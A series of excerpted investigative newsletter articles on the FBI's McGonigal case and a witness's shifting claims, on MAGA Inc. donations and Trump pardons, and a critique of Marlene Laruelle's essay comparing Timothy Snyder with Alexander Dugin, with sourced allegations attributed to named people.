Guerriero has also described taking her complaints to an official responsible for investigating the Bureau from the inside. On the October 2024 broadcast she named Douglas Leff, a friend of years’ standing, as “the first person I went to” when she found herself cast out socially by her circle at the FBI. Leff had been named special agent in charge of the San Juan Field Office by James Comey, a post he held until 2020. Christopher Wray then made him assistant director of the FBI’s Inspection Division, the component that conducts the Bureau’s internal investigations and the special inquiries ordered by its director and deputy director, where he remained until he left the FBI in March 2022.

By her account she went to him again there, after she had been served with a subpoena in the District of Columbia case and had learned of the parallel investigation in the Southern District of New York from which she says she was excluded. The grand jury subpoena she leaked to Business Insider came in 2021, inside that window. “So I communicated this to Doug,” she said. “He ignored me.”

If her account is accurate, the FBI’s senior internal-investigations official was told directly about details of the McGonigal affair by a civilian witness, and so far as she knows, nothing came of it. This account is hers alone; Leff, now an assistant district attorney at the Bronx County District Attorney’s Office, was not asked for comment.

When the DOJ finally charged McGonigal, the two cases reached only his post-retirement work for Deripaska and his concealment, while still serving, of the Albanian payments. His time as New York SAC, the field-office leaks, the CEFC sabotage, anything touching Fox Hunt, remained entirely outside them.

There is an unglamorous explanation for part of that. The general federal limitations period is five years. Conduct from October 2016 was time-barred by late 2021, more than a year before McGonigal was indicted. Prosecutors in 2023 could not have charged the election period even if they had wanted to. Classification compounds the problem: counterintelligence conduct from that window is close to unprosecutable in open court without exposing sources and methods, and both cases ended in negotiated pleas, which narrows a charging document further still. None of that explains the rest.

A limitations period bars a prosecution. It does not bar an inspector general review, a congressional inquiry, or a public damage assessment, and none of those has happened either.

Since then, the enforcement picture has only narrowed.

How She Sees Herself

Guerriero does not present herself as a civilian at the edge of the security world. In the DMs, she portrays herself as operating inside it, and her documented career is consistent with that self-portrait.

In one exchange, she writes:

“Well, I work with the military, law-enforcement, and the intelligence community. We always say ‘nobody would even believe us if we told them these stories’. So I don’t even try. But I did pick up a lot of trade habits that enabled me to know how to collect the right evidence on Charlie. And it was HARD!”

The self-portrait matches the (largely self-documented) record. Elsewhere in the DMs, she writes:

“I’m assuming they have wires up on my comms as well as Albania, Bosnia, Croatia, Serbia, etc… probably Turkey too. And definitely Mexico and Colombia because of past experiences with drug trafficking investigations I was a contractor on. Anything that you put over text messages is being intercepted by somebody. Even our own country.”

A woman who spent nine years as Vice President of US Operations for an Israeli defense contractor, who lists “Counterintelligence” and “Private Investigations” among her professional skills, and who described herself to the Daily Mail as “a platonic female in the security industry who deals with the same legal mechanisms and high levels of government” is not inventing a security-industry career. Whether every claim she makes about that work is accurate is a different question.

The pattern has continued. In public replies this August, she asserted that “the PID Squad in the 8th Floor HQ of the United States Secret Service” monitors the account of a critic, and declined to share evidence with anyone, citing “a much, much bigger espionage, AML, IRS CID” investigation involving “other people from other agencies and even other countries.”

In one DM, she offers a conceptual frame for McGonigal’s corruption, introducing the term “transactional espionage”:

“Yes, I understand why people don’t understand that and why the perception exists that Charlie is somehow aligned with Donald Trump. That’s where the nuance of ‘transactional espionage’ comes in. It was espionage in the form of financial transactions, driven by greed and not by political ideology. Charlie didn’t care who was paying him or what their politics were. He sold out the United States for money and released classified information and intelligence to our adversaries for money. It does not have anything to do with politics, which is something that has always been nagging at me because the perception is that Charlie had a political motivation and he never did.”

Her account of motive fits the public record. The deals with Deripaska, Nezaj, Rama, and CEFC-linked intermediaries were plainly about money rather than ideology. Her account of the conduct does not. McGonigal was never charged with espionage; what the inspector general found was the unauthorized disclosure of sensitive, non-public case information, which is a serious thing and a different thing. The word she reaches for is unsupported by the record and applied to a man whose actual convictions were for concealment and sanctions violations.

But notice how she deploys the frame: by insisting his espionage had nothing to do with politics, she cuts the Trump‑aligned network around her loose from any political consequences of his corruption and redirects blame toward a supposedly partisan FBI. That framing aligns neatly with her public portrayal of Giuliani, Stone, Flynn, Kurson, and McMahon as victims of politicized law enforcement, a portrayal since ratified by official action: pardons for Giuliani and McMahon, a sealed record for Kurson, a seat on the West Point Board of Visitors for Flynn.

The question is why a trained security professional with two decades in the defense and law-enforcement supply business has spent years shaping the public account of this case in ways that serve a specific political network, and why that professional background has not been examined by a public body investigating McGonigal’s compromises.

The October 2016 Black Box

The most politically sensitive period of McGonigal’s career is also the least examined: October 2016, when he was named to run counterintelligence in New York while that field office was working the Anthony Weiner laptop, leaking, and supplying Giuliani with his hints of a “big surprise.”

McGonigal had sent the email predicate for Crossfire Hurricane on 31 July 2016. The Bureau announced his New York appointment on 4 October, in the middle of the field office's handling of the Weiner laptop, and its release said he would take up the post at the end of that month. The squad he was taking over housed parts of the Trump-Russia investigation and elements of Fox Hunt. New York agents were known to harbor anti‑Clinton sentiment; Comey’s decision to notify Congress on 28 October was driven in part by fear of NYFO leaks. Two days before that letter, Giuliani went on Fox News and hinted that Trump had “a surprise or two” coming from “former FBI agents.” Whether McGonigal was in the chair by then, or arrived days later, is not established anywhere in the public record.

Special Counsel John Durham’s 2023 report criticized the FBI for opening a full investigation on “raw, unanalyzed, and uncorroborated” intelligence and for applying a lower threshold than it used in Clinton‑related cases, without addressing the fact that the official who sent the predicate email was later found to have taken foreign cash and leaked sensitive cases to foreign‑linked actors.

In her DMs, Guerriero insists that Giuliani and McGonigal “never actually met” beyond a handshake, that he was sent to New York “to help stop the leaks,” and that “the leak is some other guy,” whom she “suspects” was a prosecutor in the Southern District of New York:

“He’s not the leak. The leak is some other guy. Charlie was sent up there to help stop the leaks by Comey at the request of Bill Sweeney and the other anti-Trump FBI agents. I know for a fact they were never friends. Please believe me about this. I suspect I know who the leak was but it wasn’t an FBI agent, it was a prosecutor in the Southern District.”

She later calls this identification a “hunch” but adds that her hunches are “very seldom wrong” and asserts that “they all hated Trump anyway including Charlie.” She is exonerating both Giuliani and McGonigal on the most sensitive questions while redirecting suspicion toward other officials. By August 2026 she had taken the exoneration public, writing in her own name that McGonigal “wasn’t even in New York before the 2016 election,” that “they only made the announcement at the end of October 2016,” and that he “had no role” in the events surrounding the reopened Clinton email inquiry, despite the Bureau's 4 October 2016 announcement slating his arrival for the end of that month.

The McMahon Pardon Campaign

In 2025, Guerriero launched a Substack campaign urging Trump to pardon McMahon, presenting him as a falsely convicted patriot and arguing that his Fox Hunt case had been tainted by McGonigal’s misconduct and broader FBI corruption. She described Biden Justice Department prosecutors as “evil people” and alleged that exculpatory evidence had been withheld.

On Instagram, she celebrated the November 2025 pardon and urged followers to listen to Roger Stone praising the decision. In the DMs with Andrews, she framed the gag-order fight as an essential free-speech battle: “if Charlie is able to gag me that sets a precedent for others.”

The pardon gutted deterrence for Fox Hunt‑style operations. Chinese security services now know that prosecutions of American cut‑outs can be reversed through political lobbying and narrative campaigns. And the case itself has been folded into the same storyline Guerriero uses for everything else: an allegedly out‑of‑control FBI persecuting innocent patriots and Trump allies. A high‑profile Fox Hunt conviction has been erased after a pardon campaign run by the woman who once lived with the FBI’s New York counterintelligence chief while he was leaking China cases, and who now spends her time publicly attacking the legitimacy of U.S. counterintelligence.

Some of Guerriero’s claims hold up against the public record. Her description of the October 2017 cash bag matches an $80,000 Nezaj payment documented in court filings, and her account of sealed-envelope exchanges with Shestakov fits the timeline of the Deripaska conspiracy. Other claims cannot be independently verified, including her portrayal of her post-breakup conduct as deliberate tradecraft and the extent to which her public campaigns are strategically coordinated rather than instinctive.

The Recantation

In August 2026, after this reporter approached her for this story, Guerriero responded in public. Over a series of replies on X she supplied a telephone number, then said she would not sit for a telephone or video interview and would communicate only in writing; consented to the use of “whatever is in Substack”; demanded the identity of the publication, the assigning editor, “journalistic credentials”, and every allegation concerning her; and asked whether the reporter had received material from the researcher she now describes as an obsessed conspiracy theorist and a harasser. The hostility between the two is documented in both directions.

As the exchange wore on, she stated its purpose plainly. She had engaged, she wrote, “openly so that I can be able to have some sort of control over a narrative about my life.” She informed the reporter that “these are my rules and I’m in charge not you”, and that done her way, “you’ll get an accurate story out there.” Then, an offer: “If you want to negotiate, maybe we can do that and that will also take place on Twitter.” No negotiation took place.

She also moved, unprompted, to disavow the private record at the center of this story. “Most of what I told Tony Gonzales wasn’t even true anyway,” she wrote in one reply. “I was trolling him because it was funny.” In another: “I made most of what I told Anthony Gonzales (his real name) up anyway.” Asked directly whether she tells a lot of lies for laughs, she said no: “I wasn’t in the mindset that I was lying at that time. It just became out of hand, and I fell into a stupid rabbit hole of it.” She has variously described their contact as lasting five or six weeks, two months, two and a half months, and three months.

The disavowal was selective. The claims she itemized as inventions were about herself: that she knew Jeffrey Epstein, and that her husband worked in the Trump administration. She has never been married, she says. The claims she re-asserted, in her own name and knowing a journalist was reporting, were the ones that shield the network: that Giuliani and McGonigal “never even met”; that McGonigal reached New York only “after the election”; that the 2016 leak was “a prosecutor in the Southern District”; that the bribes were “only limited to the Balkans”; and that “I don’t think the Russians turned Charlie. Charlie is the one who turned Sergey.”

Among the claims Guerriero told this reporter she had fabricated for the researcher was a Connecticut trip: “I totally made it up and he believed it! What a moron.” On the October 2024 broadcast, at least six months before her documented contact with the researcher began, she had told the story herself: “Charlie and I were up in Connecticut one night when he accepted a bribe from Sergey, and we stopped by my best friend’s house at the time, and then we spent the night up there.” Unless the invented trip is a different one, a question included among the written queries she refused to receive, the two statements cannot both be true: either she has recanted a real event, or she described a fabricated bribe on national television, unprompted, months before the man she says she invented it for entered her life. Nor was the Shestakov claim minted this summer: “It is my belief that Charlie corrupted Sergey, not the other way around,” she told Ryan in 2024, the same position she restated to this reporter in August, part of a line held steady across venues while the disposable details changed.

On 23 August she wrote that when this reporter first commented to her, “I didn’t realize you were receiving your information from him.” Two days later, on camera, she said the opposite: she had known for months, because “all of us in our group text who are keeping an eye on him” had seen it. “We did know that he was talking to you.” The same video disposed of the question of whether any of her account had ever been given under oath. Her answer: at one point in her life, she had been “the deputy commissioner of the city of New York for saving water.” She has never said she testified under oath about any of it, and no public record shows that she has; whether that is her choice or, as she maintains, the government’s, is among the questions she refused to receive.

Hacking, but Legal prepared written questions covering every message quoted in this story, including whether her claim of invention extends beyond her public posts to the private messages of May to July 2025, which she has not, to date, specifically disavowed. Guerriero, who had demanded written questions, refused to provide any channel to receive them: all communication, she declared, would take place on X, she would not be answering in any case, and the reporter’s deadline created no obligation for her. She was offered email, text, and additional time, and was told the publication date. She answered with public attacks instead.

A note on sourcing. The private messages quoted in this story were provided by the researcher. Where their contents touch the documented record, the timing of the October 2017 cash, the Caputo exchange, her public campaigns, they are consistent with it; where they are hers alone, they are presented as her statements, not as established fact. Andrews was shown an earlier draft of this story for accuracy and urged its publication. He had no role in its reporting, framing, or editing, and no say in what it says or when it ran: this reporter held it for months, over questions he wanted published sooner. Guerriero calls him an obsessed conspiracy theorist and a harasser. There is documented hostility between the two in both directions.

There is a non-strategic reading of all this. Guerriero has been seriously ill for years, describes a long financial struggle, and lives much of her public life online; the oscillation between confession and stonewall may be compulsion rather than design. There is a third reading: people who have behaved chaotically often reconstruct it afterwards as strategy, because a story in which you were clever is easier to carry than one in which you were desperate, careless, or made serious mistakes. The structural facts do not depend on resolving Guerriero’s intent. Whoever benefits from a record in which the case’s origin witness has publicly declared herself unreliable while re-affirming every claim that protects the men around her, it is not the public and it is not the case for accountability.

In the final hours before publication, both principals claimed the story in advance. The researcher announced it on camera: “the universe is aligning.” Guerriero linked his video within hours, promising her followers “it’s gonna be a hoot”, and wrote as the morning arrived: “I’m perfectly willing to let history be the judge cause I know I will be vindicated.”

The End of Scrutiny

One by one, the mechanisms that might have forced answers into public view have been dismantled. KleptoCapture, the DOJ unit that enforced Deripaska-era sanctions, was dissolved at Attorney General Pam Bondi’s direction on 5 February 2025.

In March 2025, FBI whistleblower Johnathan Buma, reported in 2023 to have described McGonigal to Congress as someone who “ran interference for Giuliani”, was arrested and charged with disclosing confidential documents. Buma has pleaded not guilty and faces trial in October 2026, and the memoir he self-published in August 2026 does not mention McGonigal by name. Shestakov drew a two-month sentence after all serious charges were dropped; Rossini got a Trump pardon in January 2026.

Every political figure in the network has been insulated. Giuliani was pardoned in November 2025; the Georgia RICO case was dismissed the same month. McMahon’s conviction was erased. Kurson’s charges were sealed, and Flynn was given a seat on the West Point Board of Visitors. In Albania, Rama won a fourth consecutive term without facing charges; Nezaj and Ducka remain free.

The pardons are not evidentially alike, and the difference matters. Only one of them has a documented financial chain attached: Rossini's clemency followed millions of dollars in contributions to a pro-Trump super PAC from the daughter of his co-defendant, as this reporter reported in Byline Times in February. The others have advocacy and proximity, and no money trail that anyone has produced. One of these is a model. The rest may only be imitations of it.

McGonigal sits in FCI Cumberland, the only one of the Americans in this network who is in prison. His tenure running counterintelligence in New York during the 2016 election and the damage from his compromises have not been assessed in any public forum. It is not known whether a foreign service actively directed the network or merely exploited existing ties; whether information passed through Guerriero’s orbit, and to whom, has never been asked under oath.

Guerriero declined to comment, responding instead with public attacks on the reporter. She was told the publication date in advance and offered additional time. No approach for comment was made to the other figures named in this story; their positions, where known from court records, sworn filings, and their own public statements, are reflected throughout.

♦

Corrections and additions: contact Jackie @ this website dot com. Errors of fact will be corrected promptly and noted on this page. Anyone with information relevant to this story, including any person named in it, is invited to write.

A note on support. This piece took weeks to write and months to develop. That included obtaining and authenticating the private messages, working through court filings in multiple districts, an inspector general report, FBI personnel announcements, foreign corporate registries, and reviewing a broadcast interview frame by frame. Nobody commissioned it and nobody paid for it. Hacking, but Legal has no publisher, no advertisers and no institutional backing, which is why this story is free to read and why the reporting that follows it depends on subscribers. There is more to come on this network. If you want that work to happen, subscribe.

The story depended on a legal fiction built into super PAC law after Citizens United. Courts allowed unlimited fundraising only on the theory that these committees stay independent of the candidates they benefit. Under that theory, a check to MAGA Inc. is not a check to Trump. Remove it and money from a bribery defendant’s family into “the super PAC Trump’s allies control” becomes money to the man who signs pardons.

Trump removed it himself this month. In a Punchbowl News “Flyout Day” interview taped at the White House and released August 7, Jake Sherman put the standard framing to him directly, calling MAGA Inc. the super PAC “that you, that your allies control.” Trump corrected him. “Not my allies, I control it.” Sherman laughed. He put the PAC’s holdings at $800 million and said he intended to spend it helping Republicans through the midterms.

Sitting presidents do not usually say this about committees barred from coordinating with them, least of all into a reporter’s microphone. The $800 million figure does not square with the numbers MAGA Inc. has disclosed, either. FEC filings show the committee’s total receipts for the 2025-2026 cycle at $400,684,172.17 through the end of July, a gap attorney Tim Hogan flagged over the weekend, asking whether the New York Attorney General has jurisdiction over the PAC’s depository bank, JPMorgan Chase, and its donors.

A Newsweek analysis around the same time put the combined cash held by every pro-Trump committee, MAGA Inc. plus the RNC, NRSC and NRCC, at roughly $677 million as of June. That gets closer to Trump’s number without reaching it, and it counts four committees where he named one entity. Reconciling the sums is subpoena work; screenshots have carried it as far as they can. Trump’s admission needs neither. The same PAC that took Isabela Herrera’s checks is the one Trump has now told a reporter he personally controls and can spend on anything he wants — and the Herrera pardons were not the first act of clemency to follow a seven-figure payment into MAGA Inc.

Trump’s public assertion of control retroactively colors several recent, high-dollar transactions.

Kenneth P. Vogel reported in the New York Times in May 2025 that Paul Walczak, a Florida nursing home executive who pleaded guilty to diverting roughly $10.9 million in payroll taxes to fund a yacht and a luxury lifestyle, received a full pardon weeks after his mother, longtime Republican fundraiser Elizabeth Fago, attended an intimate candlelight dinner at Mar-a-Lago priced at $1 million per head and sponsored by MAGA Inc. The sentencing judge had ordered Walczak to prison twelve days before the pardon, remarking that there “is not a get-out-of-jail-free card” for the rich. At the time, the Times could not establish whether Fago had paid. FEC disclosures caught up months later: Florida Bulldog and the Buffalo News reported that MAGA Inc. recorded her $1 million check on April 3, 2025. Trump signed the pardon twenty days later, erasing an 18-month sentence and nearly $4.4 million in restitution.

A White House official told the Times the president had been moved by a mother pleading for her son, not by money.

Pardon applicants can read filings too. On August 7, the Hindustan Times’ Shashank Mattoo reported that Krishna Tripuraneni, a retired Florida gastroenterologist who served two years for filing false tax returns, gave $1 million to MAGA Inc. in June while his pardon application waits at the Office of the U.S. Pardon Attorney. His largest previous federal contribution was $25,000 to Nikki Haley. No pardon has issued, and nothing in the reporting connects the donation to the application. The million sits in those same filings, unexplained. A man with a petition pending before the president sent forty times his previous donation ceiling to the president’s super PAC.

Set side by side, the cases sort into two categories — presumably lawful versus unlawful funds — and the one I reported is the sole occupant of the second. Fago’s million and Tripuraneni’s million were, as far as any reporting shows, lawful; the trouble is what they appear to buy. The Herrera money is different in kind. Six days after my February piece ran, the Campaign Legal Center filed a complaint with the FEC alleging that the $3.5 million was itself criminal: foreign funds from Herrera Velutini, a Venezuelan national barred from contributing a cent to American elections, passed through his daughter as a straw donor in violation of the federal bans on foreign contributions and on giving in another’s name. Isabela Herrera is 25, described in MAGA Inc.’s paperwork as a self-employed financial consultant, had never given more than $20 to a federal candidate and, per the complaint, does not appear to own either residence listed beside her name.

CLC’s complaint names the Herreras, not the president. It could hardly reach further, since the pardon power is all but absolute, and no filing anywhere accuses Trump of a crime. The criminal charge this arrangement calls to mind, bribery, would demand proof of an explicit exchange that nothing public establishes. But the complaint was drafted against the backdrop of a super PAC formally run by the president’s allies, and Trump struck the set in August. Should the FEC sustain the straw-donor allegation, the paper trail will show illegal foreign money entering a fund the president has publicly claimed as his to control and spend, followed by pardons for the family alleged to have supplied it. The White House has said the contributions played no role in the clemency. Impeachment answers to a different dictionary than the criminal code.

Bribery is the second of the two offenses the Constitution bothers to name before its catch-all, and the judging belongs to Congress. Judiciary Democrats took a first pass last week, entering the Herrera pardons as an exhibit in their Pardons, Inc. staff report. Meanwhile, Karoline Leavitt left the White House press podium this week for a job at MAGA Inc., the latest staffer to move between the administration and a committee whose entire legal premise is independence from the man they both serve.

My February piece asked what a bribery defendant’s daughter was buying when she sent two checks to an entity nominally run by Trump’s allies. The FEC inherited that question this winter. The president has since answered who controls the money on camera.

The pretense that kept his name off the receipt has expired.

Clemency actions referenced in this piece appear in the Trump Clemency Record, my verified database of every pardon and commutation Trump has granted across both terms. It covers roughly 2,050 grants checked against DOJ records and White House proclamation texts, from the ~1,600-person January 6 blanket pardon to the named individual grants, and tracks the nearly $2 billion in restitution and fines his clemency has erased. The full dataset was updated today and is exportable.

♦

Laruelle places , the Yale-trained historian of Eastern Europe who has become American liberalism’s most prominent civic alarmist, alongside Alexander Dugin, the Russian occultist and imperial ideologue whom Western journalists spent a decade casting as “Putin’s brain.”

Despite their opposed politics, she argues, the two men think alike.

Each wields a master concept that promises total clarity and divides the world into light and darkness. Each writes in the register of prophecy and treats Russia as a civilizational constant, letting private grief confirm public theory. The essay is elegant and heavily sourced, structured with the symmetry of a diptych: a photograph of Snyder gesturing at a lectern in Oslo, a photograph of Dugin gesturing at a lectern in St. Petersburg.

The essay is also doing a second job. The stated task is an argument about Snyder’s claims; the delivered output is the dismantling of his standing as a source, carried out in the genre of scholarly analysis.

By way of disclosure: after my initial reading, I called Laruelle’s essay “pseudo-intellectual bullshit intending to degrade the power of her subject’s work using a false and offensive comparison.” I stand by that.

That the essay accomplishes it is checkable, and it has consequences well past Snyder. The technique on display here is becoming a standard instrument in the wider information conflict the essay itself declines to take seriously, and it deserves to be taken apart in public, piece by piece, so that readers can recognize it the next time they encounter it, which they will. This essay comprises my verdict’s receipts.

♦

Laruelle is not a crank and not a marginal figure. She is among the world’s leading scholars of Dugin, Eurasianism and the Russian radical right, and the essay’s central factual claim about Dugin is correct: his influence on actual Kremlin decision-making has been wildly overstated by Western media. That position is neither fringe nor apologetic; it sits close to consensus among specialists across the hawk-dove spectrum, including researchers who have spent careers documenting Moscow’s cultivation of the European far right. The “Putin’s brain” framing was always better journalism than analysis, and Laruelle has spent years correcting it.

Nor are her criticisms of Snyder invented. They have a genealogy that long predates this essay and owes nothing to Dugin. When Bloodlands appeared in 2010, Richard Evans, the preeminent Anglophone historian of the Third Reich, attacked it in a review of famous severity, and the Holocaust historian Omer Bartov raised related objections: that merging Nazi and Stalinist killing into a single spatial frame risked blurring distinctions between the two regimes’ logics of violence that scholars had spent decades establishing. Black Earth, in 2015, fared worse. Its thesis that the Holocaust was deadliest where states collapsed runs into the Netherlands, where an intact and efficient administrative state coincided with one of the highest Jewish death rates in Western Europe precisely because bureaucratic continuity facilitated deportation.

Sophie Pinkham’s review in The Nation identified the deeper habit: Snyder treats functioning institutions as sources of moral illumination and their absence as darkness. And the Ilyin problem is real. The Road to Unfreedom hangs enormous interpretive weight on a reactionary émigré philosopher whom Putin has quoted ceremonially a handful of times, the way American presidents quote Lincoln, and its genealogy leaps from Ilyin’s 1922 expulsion to Putin’s rise as though seventy Soviet years, the very decades on which Snyder built his scholarly authority, had not intervened. Snyder’s prophetic ledger is genuinely mixed as well. He told an interviewer in 2017 that a Reichstag-fire moment was close to inevitable and gave the republic roughly a year; the assault on the Capitol arrived in 2021, and his admirers retroactively amortized the timeline. His critics hold their strongest card here: that a prophecy whose deadline can always be extended is no forecast at all, just a mood.

All of this is admissible. All of it was in print years ago, produced by historians and critics with no stake in any quarrel over Russia policy. The provenance card matters more here than the paintings; everything that follows hangs on it.

♦

Try this at home. Take Laruelle’s essay and strike every sentence that mentions Dugin. What remains? Everything. Every defensible criticism survives intact: the Ilyin overstatement, the missing Soviet decades, the statelessness thesis, the moral binaries, the prophecy ledger, the tendency to locate America’s pathologies abroad. Each was developed by Evans, Bartov, Pinkham and a small literature of Russia specialists without any reference to Dugin — none of them requires one. The Dugin half of the essay licenses no inference and supports no conclusion that the Snyder-only version could not reach. As analysis, it is inert.

Laruelle supplies the verdict herself. Her closing argument faults Snyder’s genre for placing its explanatory weight on an external corrupting agent and declares that “none of this requires a Russian villain.”

Neither does her case against Snyder. The control version exists in print under her own byline: a 2021 book and a 2022 journal article that prosecute the same case against Snyder, prophet charge included, with no Dugin anywhere in the frame. The essay convicts a genre of needing a Russian villain while itself needing one to exist.

Five years in, the only new ingredient is the man on the other side of the table. The book makes the point exact. Across its two hundred fifty-odd pages Dugin is treated at length as a subject and Snyder at length as an adversary, and the two men never once share a page of her argument; their names co-occur only in the back matter, in separate citations that have nothing to do with each other. For five years the comparison went unmade. In August it became the entire essay.

So what is it for?

Its likely rhetorical effect is contaminative. The essay seats Snyder across the table from a man who spent 2014 agitating for the dismemberment of Ukraine and who, in a video interview that year, said of Ukrainians “kill, kill, kill,” remarks that cost him even his position at Moscow State University. Then it lets the seating arrangement do work the argument cannot. Laruelle is careful, in a single paragraph near the end, to disclaim any equivalence between the two men’s “political commitments or moral responsibilities.”

The disclaimer is real and perhaps sincere. It is also beside the point, because the essay denies at the level of the proposition what it performs at the level of architecture. The parallel section structure, the alternating paragraphs, the matched photographs of two men gesturing: the verdict is manufactured by the form, and the form says these two are a matched set. Anyone who has watched how ideas actually circulate knows which element survives transmission. The symmetry travels. The caveat dies at the border of the first screenshot.

The characterological accounting confirms the arrangement. Dugin arrives in this essay as a “self-taught esoteric thinker, more at home with occult speculations than archival footnotes,” a description with the texture of an affectionate faculty-lounge anecdote. His daughter’s death is rendered at length and with warmth. His decades of exterminationist agitation are nowhere, and her own earlier scholarship on the man is nowhere to be found.

Her 2008 study Russian Eurasianism devotes a section to Dugin’s connections with fascism and files a careful inventory: his ideas share many features of original fascism, down to the cultural revolution meant to produce a New Man; he advances a positive reading of fascism and does not denounce Nazism, regretting mainly that Hitler attacked the USSR; he especially appreciates the Waffen-SS and the Ahnenerbe; like the original fascists he admires the Romantic taste for death and combat.

She was careful then to brake the label, writing that his thought cannot be equated with fascism if that means the contemporary racist extreme right. The shape of that passage is the finding: the inventory, then the brake. In 2026 the inventory vanished and the brake was never built. The affable esotericist of the essay is a man whose admiration for the SS’s cultural apparatus she herself documented, with page numbers, eighteen years ago. Snyder, an archival historian who writes books and raises money for drones, receives the essay’s entire budget of moral scrutiny. A structural comparison would have flattened both men equally. This one flattens only one.

Her own publishing schedule settles whether the omission was a choice. Two days before the Ideas Letter essay appeared, Laruelle posted a piece on her personal Substack titled “Who Owns Rebellion?,” a left/right mirror essay arguing that the contemporary right has captured the aesthetics of rebellion while progressive politics became custodial of the institutions it once fought. Whatever its merits, that essay contains a component the Snyder piece does not: a section titled “Where the symmetry stops,” in which she brakes her own comparison and itemizes the concrete asymmetries, noting that the right denounces elites while drawing support from some of the wealthiest people alive and presents itself as anti-establishment while controlling governments and deploying the coercive resources of the state.

The brake, in other words, is part of her standard equipment, and has been since at least the 2008 study. On August 18 she demonstrated it. On August 20, in a comparison that needed it incomparably more, the section does not exist.

♦

There is a second mechanism running underneath the first, and it is subtler. Call it recoding. Laruelle’s essay works hard to establish that Snyder is received as a prophet: by his admirers, who read his warnings as foresight, and by his critics, who ask whether he has emptied the word “fascism” of meaning. The observation is accurate. It is also a trapdoor. A historian makes claims, and claims can be checked and weighed, credited in part. A prophet is not in the evidence business at all. He can only be believed or disbelieved, followed or mocked. Recode a scholar as a seer and you have quietly moved his entire output from the category of things that are true or false into the category of things that are felt. It is the most efficient form of disqualification available because it never has to dispute a single fact. It simply changes what kind of object the man’s sentences are.

The essay performs the exact maneuver it indicts. Laruelle writes that each man’s master concept is “wielded as a decoder: whoever has not grasped it looks, at best, naive.” Her essay then offers its own decoder, the mirror itself, a revelation that reorganizes everything the reader thought they knew about Snyder, and anyone who fails to perceive the symmetry is, presumably, naive.

The deepest irony sits on page 20 of her own book, which defines Reductio ad Hitlerum as ad hominem argumentation, an argument rebutted by attacking the character of its proponent more than its substance, operating through guilt by association with a reviled figure. The device pays twice, her book notes, vilifying the target while certifying the attacker’s moral standing. Replace Hitler with Dugin and she has described the architecture of her own essay, five years in advance. Reductio ad Duginum.

Totalizing frames, it turns out, are like accents. Everyone else has one.

♦

The deeper trouble sits not in what the essay argues but in what it leaves out.

The essay never mentions that its author is a combatant in the fight it referees. Her case against Snyder began with the 2021 book, where the prophet charge already appears on page 19, prophetic warning against a new fascism filed under “bookselling strategies” with Snyder’s On Tyranny entered as an exhibit alongside Albright’s Fascism: A Warning, and continued in the 2022 article that named him the most vocal voice on the question of Russian fascism. This new essay is at least round three, and it cites her own prior interventions as though they were independent corroboration.

What the record does not contain is the other side. Snyder’s Substack archive does not contain her surname; no reply from him exists anywhere I can find, and neither does anyone else’s published defense of him against her. The scholarly pushback her book did receive, a symposium exchange with Yoshiko Herrera, Mitchell Orenstein and Anton Shekhovtsov, contested her thesis about Russia rather than her treatment of Snyder. Scholars continue arguments; that is the job. But a bout in which one corner has been throwing punches for five years while the other never answers is not much of a bout, and refereeing it without disclosing one’s corner is a different line of work entirely.

The graver omission is the information war itself. The closing argument I quoted earlier holds that liberalism’s crisis is homegrown. As intellectual history, that claim is half right, and I will return to why that half matters. But the passage waves away, in a subordinate clause, a documented operational record: the interference campaigns, the industrialized forgery of Western news outlets, the cultivation networks and the active-measures doctrine that researchers have spent a decade reconstructing from forensic evidence rather than vibes.

One need not believe Moscow elected anyone to find this negligent, and negligent is the word I mean. Not complicit, not captured. I want to be explicit about what I am not claiming, because the temptation to answer this essay in kind, to speculate about motives and funding, is exactly the reflex it will provoke and exactly the reflex that must be refused. The charge that can be proven from the text is that a scholar of influence operations wrote three thousand words about apocalyptic thinking in Russia coverage without engaging the operations themselves.

The harvesting is not hypothetical. It requires no conspiracy, only the ordinary appetite of an existing machine. Open Society Foundations are banned in Russia as an “undesirable organization”; George Soros is the standing demon of Kremlin propaganda. An OSF-funded essay arguing that liberalism destroyed itself and that the man who warns about Moscow mirrors the man widely cast as Moscow’s own court philosopher is, whatever its author intends, a pre-cut clip. “Even the Soros outlet admits it” writes itself.

Every credentialed skeptic learns this dynamic eventually, usually by finding their most careful caveats quoted, shorn of context, in Pravda. Utility is not intent. But an expert in narrative warfare who publishes without weighing utility has skipped a step her own field invented.

♦

The essay’s most substantive charge against Snyder is also its weakest under inspection, and its collapse points toward what a better public argument about fascism would look like.

Laruelle accuses Snyder of staging the present “inside the moral theater of the 1930s”: Trump as Hitler, democracy as Weimar awaiting its collapse. “Moral theater” testifies to a cartoon version of the decade, all newsreel torchlight and men shouting in stadiums. That cartoon is not what happened. The Nazi consolidation of 1933 ran overwhelmingly through paperwork. The Law for the Restoration of the Professional Civil Service, passed that April and named precisely to sound like routine administration, purged Jews and political unreliables from every level of the state down to village schoolteachers, and its background questionnaires reached millions while inviting their neighbors to inform. The Reich Flight Tax, a mundane 1931 capital-control measure, was converted into one of the devices that together stripped emigrating Jews of up to ninety percent of their assets.

The historians Robert Gellately and Nathan Stoltzfus assembled this record two decades ago; Victor Klemperer’s diaries recorded it in real time, one survivable-seeming restriction after another, until the ordinary became impossible. I have written about this machinery before: authoritarian consolidation as the quiet strangulation of ordinary life through administrative means, with each measure defensible in isolation and the net visible only in aggregate.

With that history in view, Snyder reads differently. The most durable sentence he has written, the first lesson of On Tyranny, is “do not obey in advance.” It is not advice about street fighters; it is advice about bureaucrats. It names anticipatory obedience, the discovery of the Gleichschaltung era that regimes receive most of their compliance before they demand it, from officials and institutions adjusting early to power’s anticipated wishes. “Defend institutions” is about the clerk’s office by definition. Say what you like about Snyder’s causal narratives, his civic pedagogy at its core is administratively literate in the way the cartoon 1930s are not. Laruelle’s “moral theater” charge convicts the meme version of Snyder, the version living in Hitler-comparison discourse, while the operative content of his warning walks free. The strongest available defense of the 1930s analogy is a basic working knowledge of the 1930s.

Here, too, Laruelle’s half-right closing argument completes itself against her. She is correct that American authoritarianism has a homegrown genealogy and needs no import license. But the homegrown version and the German precedent share methodologies: selective enforcement, weaponized routine process, quiet personnel purges and capture by memo. An essay built to improve public understanding would have said so. This one is built around the mirror.

♦

The essay’s first two days in circulation ran the experiment in public, and the results sorted by geography. The loudest amplification came from a comfortable distance from Russian power; the sharpest resistance came from close range.

Andreas Umland, a Dugin specialist of two decades’ standing working from Kyiv, objected within a day that one can construct “a similarity between any historical or political philosopher and Dugin,” then filled in the ledger the essay leaves blank: the man in question praised Reinhard Heydrich and demanded a “fascist fascism” for Russia.

